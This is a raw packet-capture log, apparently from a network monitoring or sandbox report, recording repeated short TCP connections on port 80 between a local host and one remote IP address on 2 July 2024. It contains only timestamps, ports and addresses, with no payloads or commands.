Jul 2, 2024 15:28:00.416040897 CEST	49845	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:00.421077967 CEST	80	49845	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:01.105354071 CEST	80	49845	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:01.105665922 CEST	49845	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:01.118319035 CEST	49845	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:01.118717909 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:01.123486996 CEST	80	49846	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:01.123568058 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:01.123629093 CEST	80	49845	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:01.123801947 CEST	49845	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:01.125087023 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:01.129872084 CEST	80	49846	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:01.836419106 CEST	80	49846	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:01.836508036 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:02.044323921 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:02.044629097 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:02.049449921 CEST	80	49846	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:02.049467087 CEST	80	49847	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:02.049519062 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:02.049555063 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:02.049839973 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:02.054771900 CEST	80	49847	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:02.745980024 CEST	80	49847	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:02.746148109 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:02.754033089 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:02.754512072 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:02.759531021 CEST	80	49848	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:02.759635925 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:02.759845972 CEST	80	49847	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:02.759897947 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:02.760689974 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:02.765589952 CEST	80	49848	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:03.484061003 CEST	80	49848	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:03.484196901 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:03.598484993 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:03.598841906 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:03.603792906 CEST	80	49849	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:03.603818893 CEST	80	49848	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:03.603888035 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:03.603902102 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:03.604010105 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:03.609101057 CEST	80	49849	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:04.313473940 CEST	80	49849	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:04.315715075 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:04.318609953 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:04.318960905 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:04.323838949 CEST	80	49850	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:04.323878050 CEST	80	49849	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:04.323949099 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:04.323959112 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:04.324059010 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:04.328708887 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:04.328845024 CEST	80	49850	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:04.328892946 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:04.442034960 CEST	49851	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:04.446892977 CEST	80	49851	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:04.446983099 CEST	49851	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:04.452100039 CEST	49851	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:04.456939936 CEST	80	49851	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:05.147114992 CEST	80	49851	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:05.147172928 CEST	49851	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:05.150558949 CEST	49851	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:05.150875092 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:05.155769110 CEST	80	49851	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:05.155874968 CEST	49851	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:05.155972004 CEST	80	49852	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:05.156050920 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:05.156285048 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:05.161073923 CEST	80	49852	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:05.864214897 CEST	80	49852	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:05.864438057 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:05.972434998 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:05.972804070 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:05.977726936 CEST	80	49853	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:05.977925062 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:05.978117943 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:05.978550911 CEST	80	49852	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:05.978598118 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:05.982956886 CEST	80	49853	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:06.752453089 CEST	80	49853	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:06.752506971 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:06.757453918 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:06.757775068 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:06.762690067 CEST	80	49854	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:06.762758017 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:06.763067961 CEST	80	49853	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:06.763118029 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:06.763839960 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:06.768635035 CEST	80	49854	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:07.469616890 CEST	80	49854	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:07.469690084 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:07.581561089 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:07.581914902 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:07.587351084 CEST	80	49854	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:07.587404013 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:07.587541103 CEST	80	49855	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:07.587724924 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:07.587845087 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:07.593766928 CEST	80	49855	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:08.287686110 CEST	80	49855	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:08.287775040 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:08.290637970 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:08.290993929 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:08.295665026 CEST	80	49855	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:08.295721054 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:08.295753002 CEST	80	49856	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:08.295838118 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:08.295953035 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:08.300640106 CEST	80	49856	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:09.008528948 CEST	80	49856	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:09.008615971 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:09.112999916 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:09.113363981 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:09.118143082 CEST	80	49857	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:09.118181944 CEST	80	49856	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:09.118217945 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:09.118248940 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:09.118437052 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:09.123133898 CEST	80	49857	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:09.856141090 CEST	80	49857	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:09.856210947 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:09.860219002 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:09.860616922 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:09.865488052 CEST	80	49858	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:09.865535021 CEST	80	49857	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:09.865554094 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:09.865581989 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:09.865830898 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:09.870541096 CEST	80	49858	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:10.574503899 CEST	80	49858	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:10.576751947 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:10.691020966 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:10.691291094 CEST	49859	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:10.696119070 CEST	80	49859	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:10.696225882 CEST	80	49858	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:10.696225882 CEST	49859	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:10.696284056 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:10.696415901 CEST	49859	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:10.701281071 CEST	80	49859	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:11.407708883 CEST	80	49859	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:11.407782078 CEST	49859	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:11.411362886 CEST	49859	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:11.411690950 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:11.416737080 CEST	80	49860	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:11.416800022 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:11.417006016 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:11.417213917 CEST	80	49859	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:11.417264938 CEST	49859	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:11.421900988 CEST	80	49860	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:12.141582966 CEST	80	49860	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:12.141640902 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:12.253232956 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:12.253248930 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:12.258094072 CEST	80	49861	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:12.258446932 CEST	80	49860	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:12.258584023 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:12.258591890 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:12.261708021 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:12.266578913 CEST	80	49861	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:12.955203056 CEST	80	49861	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:12.959028959 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:12.959029913 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:12.959709883 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:12.964382887 CEST	80	49861	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:12.964623928 CEST	80	49862	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:12.967789888 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:12.967789888 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:12.971853971 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:12.976664066 CEST	80	49862	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:13.656639099 CEST	80	49862	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:13.656723022 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:13.769922018 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:13.770328999 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:13.775089025 CEST	80	49863	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:13.775145054 CEST	80	49862	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:13.775150061 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:13.775196075 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:13.775312901 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:13.780107975 CEST	80	49863	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:14.465085983 CEST	80	49863	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:14.465720892 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:14.468336105 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:14.468676090 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:14.474272966 CEST	80	49863	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:14.474323034 CEST	80	49864	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:14.477736950 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:14.477736950 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:14.477885962 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:14.482671976 CEST	80	49864	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:15.173027039 CEST	80	49864	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:15.173755884 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:15.284970999 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:15.285269976 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:15.290108919 CEST	80	49865	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:15.290190935 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:15.290425062 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:15.290555000 CEST	80	49864	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:15.290611029 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:15.295146942 CEST	80	49865	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:15.993679047 CEST	80	49865	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:15.993761063 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:15.996264935 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:15.996606112 CEST	49866	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:16.001298904 CEST	80	49865	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:16.001357079 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:16.001363993 CEST	80	49866	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:16.001441002 CEST	49866	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:16.001656055 CEST	49866	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:16.006963968 CEST	80	49866	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:16.739250898 CEST	80	49866	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:16.739387035 CEST	49866	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:16.847157001 CEST	49867	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:16.847177029 CEST	49866	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:16.852058887 CEST	80	49867	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:16.852165937 CEST	49867	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:16.852260113 CEST	49867	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:16.852303982 CEST	80	49866	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:16.852477074 CEST	49866	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:16.856996059 CEST	80	49867	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:17.551642895 CEST	80	49867	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:17.551711082 CEST	49867	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:17.555704117 CEST	49867	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:17.556121111 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:17.560724020 CEST	80	49867	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:17.560770035 CEST	49867	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:17.560920000 CEST	80	49868	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:17.560987949 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:17.561156988 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:17.565928936 CEST	80	49868	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:18.252854109 CEST	80	49868	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:18.253128052 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:18.363030910 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:18.363048077 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:18.367995024 CEST	80	49869	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:18.368741989 CEST	80	49868	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:18.371917963 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:18.371923923 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:18.375708103 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:18.380520105 CEST	80	49869	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:19.079687119 CEST	80	49869	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:19.085140944 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:19.085140944 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:19.085140944 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:19.090019941 CEST	80	49870	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:19.090322971 CEST	80	49869	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:19.094033957 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:19.094033957 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:19.094033957 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:19.098903894 CEST	80	49870	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:19.797153950 CEST	80	49870	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:19.797221899 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:19.910618067 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:19.911041975 CEST	49871	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:19.915863037 CEST	80	49870	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:19.915893078 CEST	80	49871	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:19.915923119 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:19.915977001 CEST	49871	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:19.916249037 CEST	49871	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:19.920984983 CEST	80	49871	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:20.631081104 CEST	80	49871	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:20.633778095 CEST	49871	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:20.636748075 CEST	49871	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:20.636759043 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:20.641587019 CEST	80	49872	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:20.641835928 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:20.641854048 CEST	80	49871	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:20.641894102 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:20.645788908 CEST	49871	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:20.646687031 CEST	80	49872	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:21.351865053 CEST	80	49872	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:21.351969004 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:21.456377983 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:21.456795931 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:21.461540937 CEST	80	49873	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:21.461604118 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:21.461632013 CEST	80	49872	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:21.461713076 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:21.461791039 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:21.466526985 CEST	80	49873	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:22.162276030 CEST	80	49873	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:22.162360907 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:22.165399075 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:22.165831089 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:22.170485973 CEST	80	49873	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:22.170547962 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:22.170578003 CEST	80	49874	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:22.170670033 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:22.170892000 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:22.175612926 CEST	80	49874	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:22.928878069 CEST	80	49874	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:22.928965092 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:23.035183907 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:23.035196066 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:23.040090084 CEST	80	49875	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:23.040309906 CEST	80	49874	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:23.040349007 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:23.040361881 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:23.040755033 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:23.045510054 CEST	80	49875	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:23.745562077 CEST	80	49875	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:23.745635986 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:23.748193979 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:23.748483896 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:23.753272057 CEST	80	49876	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:23.753334999 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:23.753653049 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:23.754035950 CEST	80	49875	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:23.754395962 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:23.759502888 CEST	80	49876	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:24.446082115 CEST	80	49876	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:24.447910070 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:24.566646099 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:24.567270994 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:24.571806908 CEST	80	49876	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:24.571932077 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:24.572123051 CEST	80	49877	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:24.572376966 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:24.572722912 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:24.577476978 CEST	80	49877	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:25.278397083 CEST	80	49877	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:25.278477907 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:25.281415939 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:25.281749010 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:25.288152933 CEST	80	49878	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:25.288220882 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:25.288331985 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:25.288506031 CEST	80	49877	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:25.288558006 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:25.294754982 CEST	80	49878	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:25.990731001 CEST	80	49878	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:25.990814924 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:26.112587929 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:26.112940073 CEST	49879	80	192.168.2.4	77.91.77.82
